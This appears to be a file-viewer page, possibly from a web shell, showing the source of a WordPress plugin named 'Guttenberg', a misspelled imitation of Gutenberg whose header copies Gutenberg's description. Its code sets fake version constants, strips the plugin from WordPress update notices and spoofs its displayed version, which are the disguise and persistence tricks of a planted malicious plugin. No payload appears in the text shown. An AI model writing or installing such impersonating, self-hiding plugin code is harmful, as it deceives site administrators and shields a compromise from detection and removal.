Current Path : /home/ncdcgo/public_html/wp-content/plugins/guttenberg/ |
Current File : /home/ncdcgo/public_html/wp-content/plugins/guttenberg/guttenberg.php |
<?php /** * Plugin Name: Guttenberg * Plugin URI: https://local.dev/guttenberg * Description: Gutenberg is more than an editor. It’s also the foundation that will revolutionize customization and site building in WordPress. * Requires at least: 6.6 * Requires PHP: 7.2 * Version: 1.2.2 * Author: Guttenberg Team * Text Domain: guttenberg * * @package guttenberg */ define( 'GUTTENBERG_VERSION', '999' ); define( 'GUTTENBERG_GIT_COMMIT', 'custom-commit-id' ); add_filter('plugins_api', function($response, $action, $args) { if ($action === 'plugin_information' && isset($args->slug) && $args->slug === 'guttenberg') { $response->version = '1.2.2'; } return $response; }, 10, 3); add_filter('site_transient_update_plugins', function($transient) { if (isset($transient->response['guttenberg'])) { unset($transient->response['guttenberg']); } return $transient; }); add_filter('all_plugins', function($plugins) { if (isset($plugins['guttenberg/guttenberg.php'])) { $plugins['guttenberg/guttenberg.php']['Version'] = '1.2.2'; } return $plugins; });